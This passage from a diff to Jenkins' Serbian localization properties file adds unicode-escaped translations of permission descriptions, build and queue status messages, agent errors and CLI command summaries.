\u043C\u043E\u0433\u0443\u045B\u043D\u043E\u0441\u0442 \u0434\u0430 \u0441\u0435 \u0437\u0430\u043F\u043E\u0447\u043D\u0435 \u043D\u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430. +AbstractProject.WorkspacePermission.Description=\u041E\u0432\u0430 \u0434\u043E\u0437\u0432\u043E\u043B\u0430 \u043F\u0440\u0443\u0436\u0438 \u043C\u043E\u0433\u0443\u045B\u043D\u043E\u0441\u0442 \u0434\u0430 \u0441\u0435 \u0443\u0447\u0438\u0442\u0430 \u0441\u0430\u0434\u0440\u0436\u0430\u0458 \u0440\u0430\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430. +Computer.Caption=\u0410\u0433\u0435\u043D\u0442 {0} +Computer.NoSuchSlaveExists=\u041D\u043C\u0435\u0430 \u0430\u0433\u0435\u043D\u0442\u0430 "{0}". \u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u043C\u0438\u0441\u043B\u0438\u043B\u0438 "{1}" \u0443 \u0432\u0438\u0434\u0443? +AbstractProject.ExtendedReadPermission.Description=\u041E\u0432\u043E \u043F\u0440\u0430\u0432\u043E \u0434\u0430\u0458\u0435 \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u043D\u0430 \u0447\u0438\u0442\u0430\u045A\u0435 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u045A\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442\u0430, \u0430 \u043C\u043E\u0436\u0435 \u0434\u0430 \u0434\u043E\u0432\u0435\u0434\u0435 \u0434\u043E \u0448\u0438\u0440\u0435\u045A\u0435 \u0442\u0430\u0458\u043D\u0438 \u043A\u043E\u0458\u0435 \u0441\u0435 \u043D\u0430\u043B\u0430\u0437\u0435 \u043F\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0438 \u043A\u0430\u043E, \u043D\u0430 \u043F\u0440\u0438\u043C\u0435\u0440, \u043B\u043E\u0437\u0438\u043D\u043A\u0435. +AbstractProject.DiscoverPermission.Description=\u041E\u0432\u043E \u0434\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u043D\u0430 \u043E\u0442\u043A\u0440\u0438\u0432\u0430\u045A\u0435 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430, \u043A\u043E\u0458\u0438 \u043E\u043C\u043E\u0433\u0443\u045B\u0430\u0432\u0430 \u043F\u0440\u0435\u0443\u0441\u043C\u0435\u0440\u0430\u0432\u0430\u045A\u0435 \u0430\u043D\u043E\u043D\u0438\u043C\u043D\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0435 \u043D\u0430 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0443 \u0437\u0430 \u043F\u0440\u0438\u0458\u0430\u0432\u0443 \u043A\u0430\u0434\u0430 \u0431\u0443\u0434\u0443 \u043F\u043E\u043A\u0443\u0448\u0430\u0432\u0430\u043B\u0438 \u0434\u0430 \u043E\u0442\u0432\u043E\u0440\u0435 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0443 \u043E\u0434\u0440\u0435\u0452\u0435\u043D\u043E\u0433 \u0437\u0430\u0434\u0430\u0442\u043A\u0430. \u0410\u043A\u043E \u043D\u0435\u043C\u0430\u0458\u0443 \u0434\u043E\u0432\u043B\u0430\u045B\u0435\u045A\u0435 \u043E\u043D\u0438 \u045B\u0435 \u0431\u0438\u0442\u0438 \u043F\u0440\u0435\u0443\u0441\u043C\u0435\u0440\u0435\u043D\u0438 \u0433\u0440\u0435\u0448\u0446\u0438 404 \u0438 \u043D\u0435\u045B\u0435 \u043C\u043E\u045B\u0438 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0438\u0442\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u043E\u043C. +AbstractProject.WipeOutPermission.Description=\u041E\u0432\u043E \u0434\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435 \u0441\u0430\u0432 \u0441\u0430\u0434\u0440\u0436\u0430\u0458 \u0440\u0430\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430. +AbstractProject.CancelPermission.Description=\u041E\u0432\u043E \u0434\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043E\u0442\u043A\u0430\u0436\u0435\u0442\u0435 \u043F\u043B\u0430\u043D\u0438\u0440\u0430\u043D\u0435 \u0438 \u0437\u0430\u0443\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. +AbstractProject.AssignedLabelString.NoMatch=\u041D\u0435\u043C\u0430 \u0430\u0433\u0435\u043D\u0442/cloud \u0437\u0430\u0434\u0443\u0436\u0435\u043D \u043E\u0432\u0438\u043C \u0437\u0430\u0434\u0430\u0442\u043A\u043E\u043C +AbstractProject.AssignedLabelString.InvalidBooleanExpression=\u041F\u043E\u0433\u0440\u0435\u0448\u043D\u0438 \u0431\u0443\u043B\u043E\u0432 \u0438\u0437\u0440\u0430\u0437: {0} +AbstractProject.CustomWorkspaceEmpty=\u041F\u0440\u0438\u043B\u0430\u0433\u043E\u0452\u0435\u043D\u0438 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 \u0458\u0435 \u043F\u0440\u0430\u0437\u0430\u043D. +AbstractProject.LabelLink=\u041B\u0430\u0431\u0435\u043B\u0430 {1} \u0458\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0438\u0440\u0430\u043D\u0430 {3,choice,0#\u043D\u0435\u043C\u0430 \u043C\u0430\u0448\u0438\u043D\u0430|1#1 \u043C\u0430\u0448\u0438\u043D\u0430|1<{3} \u043C\u0430\u0448\u0438\u043D\u0430\u043C\u0430}{4,choice,0#|1# \u0438 1 cloud|1< \u0438 {4} clouds} +Api.MultipleMatch=\u0418\u0437\u0440\u0430\u0437 \u043A\u0440\u043E\u0437 XPath "{0}" \u043E\u0434\u0433\u043E\u0432\u0430\u0440\u0430 \u043C\u0430\u0448\u0438\u043D\u0438 {1}. \u0423\u043D\u0435\u0441\u0438\u0442\u0435 \u0438\u0437\u0440\u0430\u0437 \u0438\u043B\u0438 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0430\u0440 "wrapper", \u0434\u0430 \u0438\u0445 \u0441\u0432\u0435 \u043F\u043E\u043A\u0440\u0438\u0458\u0435 \u0433\u043B\u0430\u0432\u043D\u0438 \u0435\u043B\u0435\u043C\u0435\u043D\u0442. +Api.NoXPathMatch=\u0418\u0437\u0440\u0430\u0437 \u043A\u0440\u043E\u0437 XPath "{0}" \u043D\u0438\u0458\u0435 \u043D\u0430\u0448\u0430\u043E \u043D\u0438 \u0458\u0435\u0434\u043D\u0443 \u043C\u0430\u0448\u0438\u043D\u0443. +BallColor.Aborted=\u041E\u0442\u043A\u0430\u0437\u0430\u043D\u043E +BallColor.Disabled=\u041E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u043E +BallColor.Failed=\u041D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043B\u043E +BallColor.InProgress=\u0423 \u0442\u043E\u043A\u0443 +BallColor.NotBuilt=\u041D\u0435\u0438\u0437\u0433\u0440\u0430\u0452\u0435\u043D\u043E +BallColor.Pending=\u041E\u0447\u0435\u043A\u0443\u0458\u0435 +BallColor.Success=\u0423\u0441\u043F\u0435\u0448\u043D\u043E +BallColor.Unstable=\u041D\u0435\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u043E +Build.post_build_steps_failed=\u041A\u043E\u0440\u0430\u0446\u0438 \u043F\u043E\u0441\u043B\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u043D\u0438\u0441\u0443 \u0443\u0441\u043F\u0435\u043B\u0435 +CLI.clear-queue.shortDescription=\u0418\u0437\u045B\u0438\u0441\u0442\u0438 \u0440\u0435\u0434 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430 +CLI.disable-job.shortDescription=\u041F\u043E\u043D\u0438\u0448\u0442\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A +CLI.enable-job.shortDescription=\u0423\u043A\u0459\u0443\u0447\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A +CLI.online-node.shortDescription=\u041D\u0430\u0441\u0442\u0430\u0432\u0438 \u043A\u043E\u0440\u0438\u0441\u0442\u0435\u045B\u0438 \u043C\u0430\u0448\u0438\u043D\u0435 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0434\u0430 \u0431\u0438 \u0441\u0442\u0435 \u043F\u043E\u043D\u0438\u0448\u0442\u0438\u043B\u0438 \u043F\u0440\u0435\u0442\u0445\u043E\u0434\u043D\u0443 \u043A\u043E\u043C\u0430\u043D\u0434\u0443\ +"offline-node". +Computer.Permissions.Title=\u0410\u0433\u0435\u043D\u0442 +Computer.NoSuchSlaveExistsWithoutAdvice=\ \u041D\u0435\u043C\u0430 \u0430\u0433\u0435\u043D\u0442\u0430 {0} +Computer.ExtendedReadPermission.Description=\u041E\u0432\u043E \u0434\u043E\u0437\u0432\u043E\u0459\u0430\u0432\u0430 \u0434\u0430 \u043A\u043E\u0440\u0438\u043D\u0438\u0446\u0438 \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0443 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0430\u0433\u0435\u043D\u0430\u0442\u0430. +Computer.ConfigurePermission.Description=\u041E\u0432\u043E \u0434\u0430\u0458\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043F\u043E\u0441\u0442\u0430\u0432\u0435 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0430\u0433\u0435\u043D\u0430\u0442\u0430. +Computer.DeletePermission.Description=\u041E\u0432\u043E \u0434\u0430\u0458\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u0431\u0440\u0438\u0448\u0443 \u0430\u0433\u0435\u043D\u0442\u0435. +Computer.CreatePermission.Description=\u041E\u0432\u043E \u0434\u0430\u0458\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043F\u043E\u0441\u0442\u0430\u0432\u0435 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0430\u0433\u0435\u043D\u0430\u0442\u0430. +Computer.ConnectPermission.Description=\u041E\u0432\u043E \u0434\u0430\u0458\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043F\u043E\u0432\u0435\u0436\u0443 \u0430\u0433\u0435\u043D\u0442\u0435 \u0438\u043B\u0438 \u0438\u0445 \u043E\u0437\u043D\u0430\u0447\u0435 \u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0438\u043C. +Computer.DisconnectPermission.Description=\u041E\u0432\u043E \u0434\u0430\u0458\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043E\u0442\u043A\u043E\u043F\u0447\u0430\u0458\u0443 \u0430\u0433\u0435\u043D\u0442\u0435 \u0438\u043B\u0438 \u043E\u0437\u043D\u0430\u0447\u0435 \u043F\u0440\u0438\u0432\u0440\u0435\u043C\u0435\u043C\u043E \u043D\u0435\u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0438\u043C. +Computer.BuildPermission.Description=\u041E\u0432\u043E \u0434\u0430\u0458\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043F\u043E\u043A\u0440\u0435\u043D\u0443 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u0441\u0430 \u0441\u0432\u043E\u0458\u0438\u043C \u0438\u043C\u0435\u043D\u0438\u043C\u0430. +ComputerSet.NoSuchSlave=\u041D\u0435\u043C\u0430 \u0430\u0433\u0435\u043D\u0442\u0430 {0} +Computer.BadChannel=\u041C\u0430\u0448\u0438\u043D\u0430 \u0430\u0433\u0435\u043D\u0442\u0430 \u043D\u0438\u0458\u0435 \u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0430 \u0438\u043B\u0438 \u043D\u0438\u0458\u0435 \u0434\u0430\u0459\u0438\u043D\u0441\u043A\u0438 \u043A\u0430\u043D\u0430\u043B (\u043A\u0430\u043E \u043D\u0430 \u043F\u0440\u0438\u043C\u0435\u0440 \u0448\u0442\u043E \u0458\u0435 \u0433\u043B\u0430\u0432\u043D\u0430 \u043C\u0430\u0448\u0438\u043D\u0430) +ComputerSet.SlaveAlreadyExists=\u0412\u0435\u045B \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u0430\u0433\u0435\u043D\u0442 \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C {0} +ComputerSet.SpecifySlaveToCopy=\u041E\u0434\u0440\u0435\u0434\u0438\u0442\u0435 \u0430\u0433\u0435\u043D\u0442 \u0437\u0430 \u043A\u043E\u043F\u0438\u0440\u0430\u045A\u0435 +ComputerSet.DisplayName=\u0420\u0430\u0447\u0443\u043D\u0430\u0440\u0438 +Descriptor.From=(\u043E\u0434 {0}) +Executor.NotAvailable=\u041D/\u0414 +FreeStyleProject.DisplayName=\u041D\u0435\u0437\u0430\u0432\u0438\u0441\u043D\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A +FreeStyleProject.Description=\u041E\u0432\u043E \u0458\u0435 \u043E\u0441\u043D\u043E\u0432\u043D\u0430 \u0444\u0443\u043D\u043A\u0446\u0438\u043E\u043D\u0430\u043B\u043D\u043E\u0441\u0442 Jenkins-\u0430. Jenkins \u043C\u043E\u0436\u0435 \u0434\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u043A\u043E\u0440\u0438\u0441\u0442\u0435\u045B\u0438 \u0431\u0438\u043B\u043E \u043A\u043E\u0433 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 \u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u043D\u0438\u043C \u0441\u0438\u0441\u0442\u0435\u043C\u043E\u043C. \u0422\u0430\u043A\u043E \u043C\u043E\u0436\u0435\u0442\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 Jenkins \u0437\u0430 \u0440\u0430\u0437\u043B\u0438\u0447\u0438\u0442\u0435 \u0441\u0432\u0440\u0445\u0435. +HealthReport.EmptyString= +Hudson.BadPortNumber=\u041F\u043E\u0433\u0440\u0435\u0448\u0430\u043D \u0431\u0440\u043E\u0458 \u043F\u043E\u0440\u0442\u0430 {0} +Hudson.Computer.Caption=\u0413\u043B\u0430\u0432\u043D\u0430 +Hudson.Computer.DisplayName=\u0433\u043B\u0430\u0432\u043D\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 +Hudson.ControlCodeNotAllowed=\u041A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0438 \u043A\u043E\u0434 \u043D\u0438\u0458\u0435 \u0434\u043E\u0437\u0432\u043E\u0459\u0435\u043D: {0} +Hudson.JobAlreadyExists=\u0412\u0435\u045B \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C \u2018{0}\u2019 +Hudson.DisplayName=Jenkins +Hudson.NoJavaInPath=java \u043D\u0438\u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D \u0443 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C\u0430 PATH-\u0430. \u041C\u043E\u0436\u0434\u0430 \u0431\u0438 \u0442\u0440\u0435\u0431\u0430\u043B\u0438 \u0434\u0430 \u043F\u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0435 JDK? +Hudson.NoName=\u041D\u0438\u0458\u0435 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E \u0438\u043C\u0435. +Hudson.NoSuchDirectory=\u041D\u0435\u043C\u0430 \u0434\u0438\u0440\u0435\u0434\u043A\u043E\u0440\u0438\u0458\u0443\u043C\u0430 \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C {0} +Hudson.NodeBeingRemoved=\u041C\u0430\u0448\u0438\u043D\u0430 \u0441\u0435 \u0431\u0440\u0438\u0448\u0435 +Hudson.NotAPlugin={0} \u043D\u0438\u0458\u0435 \u0432\u0440\u0441\u0442\u0430 \u043C\u043E\u0434\u0443\u043B\u0435 \u0437\u0430 Jenkins +Hudson.NotJDKDir={0} \u043D\u0438\u0458\u0435 JDK \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C +Hudson.USER_CONTENT_README=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0443 \u0443 \u043E\u0432\u043E\u043C \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C\u0443 \u045B\u0435 \u0431\u0438\u0442\u0438 \u0434\u043E\u0441\u0442\u0443\u043F\u043D\u0438 \u043F\u0443\u0442\u0435\u043C \u0430\u0434\u0440\u0435\u0441\u0438 http://server/jenkins/userContent/ +Hudson.Permissions.Title=\u041E\u043F\u0448\u0442\u0435 +Hudson.UnsafeChar=\u041E\u043F\u0430\u0441\u043D\u043E \u0458\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0438 \u0437\u043D\u0430\u043A \u2018{0}\u2019 +Hudson.ViewAlreadyExists=\u0412\u0435\u045B \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C "{0}" +Hudson.ViewName=\u0421\u0432\u0435 +Hudson.NotANumber=\u041D\u0438\u0458\u0435 \u0431\u0440\u043E\u0458\u043A\u0430 +Hudson.NotAPositiveNumber=\u041D\u0438\u0458\u0435 \u043F\u043E\u0437\u0438\u0442\u0438\u0432\u0430\u043D \u0431\u0440\u043E\u0458. +Hudson.NotANonNegativeNumber=\u0411\u0440\u043E\u0458 \u043D\u0435\u043C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u043D\u0435\u0433\u0430\u0442\u0438\u0432\u0430\u043D. +Hudson.NotANegativeNumber=\u041D\u0438\u0458\u0435 \u043D\u0435\u0433\u0430\u0442\u0438\u0432\u0430\u043D \u0431\u0440\u043E\u0458. +Hudson.NotUsesUTF8ToDecodeURL=URL \u0430\u0434\u0440\u0435\u0441\u0435 \u0432\u0430\u0448\u0435\u0433 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0430 \u043D\u0438\u0441\u0443 \u0443\u043D\u0435\u0448\u0435\u043D\u0438 \u043F\u043E \u0444\u043E\u0440\u043C\u0430\u0442\u0443 UTF-8. \u0418\u043C\u0435\u043D\u0430 \u0441\u0430 \u0437\u043D\u0430\u0446\u0438\u043C\u0430 \u0438\u0437\u0432\u0430\u043D ASCII \u043C\u043E\u0433\u0443 \u0438\u0437\u0430\u0437\u0432\u0430\u0442\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0435. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 Containers \u0438 \ + Tomcat i18n. +Hudson.AdministerPermission.Description=\u0414\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043C\u0435\u045A\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0441\u0438\u0441\u0442\u0435\u043C\u0430, \u043A\u0430\u043E \u0438 \u043A\u043E\u043C\u043F\u043B\u0435\u0442\u0430\u043D \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u043B\u043E\u043A\u0430\u043B\u043D\u043E\u0433 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0443 \u0458\u0435\u0434\u043D\u0430\u043A\u0435 \u043F\u043E \u043E\u043A\u0432\u0438\u0440\u0443 \u043F\u0440\u0430\u0432\u0430 \u0443 \u0441\u043A\u043B\u0430\u0434\u0443 \u0441\u0430 \u043E\u043F\u0435\u0440\u0430\u0442\u0438\u0432\u043D\u0438 \u0441\u0438\u0441\u0442\u0435\u043C\u043E\u043C. +Hudson.ReadPermission.Description= +Hudson.RunScriptsPermission.Description=\u041E\u0431\u0430\u0432\u0435\u0437\u043D\u043E \u0437\u0430 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u045A\u0435 \u0441\u043A\u0440\u0438\u043F\u0442\u0430 \u0443\u043D\u0443\u0442\u0430\u0440 Jenkins \u043F\u0440\u043E\u0446\u0435\u0441\u0430, \u043A\u0430\u043E \u043D\u0430 \u043F\u0440\u0438\u043C\u0435\u0440 \u043F\u0440\u0435\u043A\u043E Groovy \u043A\u043E\u043D\u0441\u043E\u043B\u0435 \u0438\u043B\u0438 \u043A\u043E\u043C\u0430\u043D\u0434\u0435. +Hudson.NodeDescription=\u0433\u043B\u0430\u0432\u043D\u0430 Jenkins \u043C\u0430\u0448\u0438\u043D\u0430 +Item.CREATE.description=\u041A\u0440\u0435\u0438\u0440\u0430\u0458 \u043D\u043E\u0432\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A +Item.Permissions.Title=\u0417\u0430\u0434\u0430\u0442\u0430\u043A +Item.DELETE.description=\u0423\u043A\u043B\u043E\u043D\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A +Item.CONFIGURE.description=\u041F\u0440\u043E\u043C\u0435\u043D\u0438 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0437\u0430\u0434\u0430\u0442\u043A\u0430 +Item.READ.description=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u0437\u0430\u0434\u0430\u0442\u043A\u0430 (\u043C\u043E\u0436\u0435\u0442\u0435 \u0438\u0441\u0442\u043E\u0432\u0440\u0435\u043C\u0435\u043D\u043E\u043C \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0438 \u043E\u0432\u043E \u043F\u0440\u0430\u0432\u043E \u0438 \u0434\u043E\u0437\u0432\u043E\u043B\u0438\u0442\u0438 \u0430\u043D\u043E\u043D\u0438\u043C\u043D\u0438\u043C \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0443 \u0434\u0430 \u0441\u0435 \u043F\u0440\u0438\u0458\u0430\u0432\u0438 \u0434\u0430 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 \u0437\u0430\u0434\u0430\u0442\u0430\u043A) +ItemGroupMixIn.may_not_copy_as_it_contains_secrets_and_=\u041D\u0435\u043C\u043E\u0436\u0435 \u0441\u0435 \u043A\u043E\u043F\u0438\u0440\u0430\u0442\u0438 {0} \u043F\u043E\u0448\u0442\u043E \u0441\u0430\u0434\u0440\u0436\u0438 \u0442\u0430\u0458\u043D\u0435 \u0438 {1} \u0438\u043C\u0430 {2}/{3} \u0430 \u043D\u0435 /{4} +Job.AllRecentBuildFailed=\u0421\u0432\u0430 \u043D\u0435\u0434\u0430\u0432\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0441\u0443 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0430 +Job.BuildStability=\u0421\u0442\u0430\u0431\u0438\u043B\u043D\u043E\u0441\u0442 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435: {0} +Job.NOfMFailed={0} \u043E\u0434 \u043F\u043E\u0441\u043B\u0435\u0434\u045A\u0438\u0445 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 {1} \u0441\u0437 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0430. +Job.NoRecentBuildFailed=\u0418\u0437\u043C\u0435\u045B\u0443 \u043D\u0430\u0458\u043D\u043E\u0432\u0438\u0458\u0438\u0445 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043D\u0435\u043C\u0430 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0438\u0445. +Job.Pronoun=\u041F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +Job.minutes=\u043C\u0438\u043D. +Job.you_must_use_the_save_button_if_you_wish=\u0414\u0430 \u043F\u0440\u0435\u0438\u043C\u0435\u043D\u0443\u0458\u0442\u0435 \u0437\u0430\u0434\u0430\u0442\u0430\u043A, \u043A\u043B\u0438\u043A\u043D\u0438\u0442\u0435 \u043D\u0430 \u0434\u0443\u0433\u043C\u0435 "\u0421\u0430\u0447\u0443\u0432\u0430\u0458". +Label.GroupOf=\u0433\u0440\u0443\u043F\u0430 {0} +Label.InvalidLabel=\u043D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u043D\u0430 \u043B\u0430\u0431\u0435\u043B\u0430 +Label.ProvisionedFrom=\u041D\u0430\u0431\u0430\u0432\u0459\u0435\u043D\u043E \u043E\u0434 {0} +ManageJenkinsAction.DisplayName=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins-\u043E\u043C +MultiStageTimeSeries.EMPTY_STRING= +Queue.AllNodesOffline=\u0421\u0432\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 \u0441\u0430 \u043B\u0430\u0431\u0435\u043B\u043E\u043C \u2018{0}\u2019 \u0441\u0443 \u0432\u0430\u043D \u043C\u0440\u0435\u0436\u0435 +Queue.LabelHasNoNodes=\u041D\u0435\u043C\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 \u0441\u0430 \u043B\u0430\u0431\u0435\u043B\u043E\u043C \u2018{0}\u2019 +Queue.BlockedBy=\u0417\u0430\u0431\u043B\u043E\u043A\u0438\u0440\u043E\u0432\u0430\u043D\u043E \u043E\u0434 {0} +Queue.HudsonIsAboutToShutDown=Jenkins \u0441\u0435 \u0443\u0441\u043A\u043E\u0440\u043E \u0433\u0430\u0441\u0438 +Queue.InProgress=\u0412\u0435\u045B \u0441\u0435 \u0432\u0440\u0448\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Queue.InQuietPeriod=\ \u0418\u043D\u0442\u0435\u0440\u0432\u0430\u043B \u0442\u0438\u0448\u0438\u043De, \u0438\u0437\u0442\u0438\u0447e \u0437\u0430 {0} +Queue.NodeOffline={0} \u0458\u0435 \u0432\u0430\u043D \u043C\u0440\u0435\u0436\u0435 +Queue.Unknown=\u041D/\u0414 +Queue.WaitingForNextAvailableExecutor=\u0427\u0435\u043A\u0430\u045A\u0435 \u043D\u0430 \u0441\u043B\u0435\u0434\u0435\u045B\u0443 \u0441\u043B\u043E\u0431\u043E\u0434\u043D\u0443 \u043C\u0430\u0448\u0438\u043D\u0443. +Queue.WaitingForNextAvailableExecutorOn=\u0427\u0435\u043A\u0430\u045A\u0435 \u043D\u0430 \u0441\u043B\u0435\u0434\u0435\u045B\u0443 \u0441\u043B\u043E\u0431\u043E\u0434\u043D\u0443 \u043C\u0430\u0448\u0438\u043D\u0443 \u043D\u0430 {0} +Queue.init=\u0412\u0440\u0430\u045B\u0430\u045A\u0435 \u0440\u0435\u0434\u0443 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443. +ResultTrend.Aborted=\u041E\u0434\u0443\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E +ResultTrend.Failure=\u041D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E +ResultTrend.Fixed=\u041F\u043E\u043F\u0440\u0430\u0432\u0459\u0435\u043D\u043E +ResultTrend.NotBuilt=\u041D\u0435\u0438\u0437\u0433\u0440\u0430\u0452\u0435\u043D\u043E +ResultTrend.NowUnstable=\u041D\u0435\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u043E +ResultTrend.StillFailing=\u0408\u043E\u0448 \u0458\u0435 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E +ResultTrend.StillUnstable=\u0408\u043E\u0448 \u0458\u0435 \u043D\u0435\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u043E +ResultTrend.Success=\u0423\u0441\u043F\u0435\u0448\u043D\u043E +ResultTrend.Unstable=\u041D\u0435\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u043E +Run.BuildAborted=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043E\u0434\u0443\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u0430 +Run.MarkedExplicitly=\u041E\u0432\u0430\u0458 \u0440\u0435\u043A\u043E\u0440\u0434 \u0458\u0435 \u043E\u0431\u0435\u043B\u0435\u0436\u0435\u043D \u0437\u0430 \u0447\u0443\u0432\u0430\u045A\u0435. 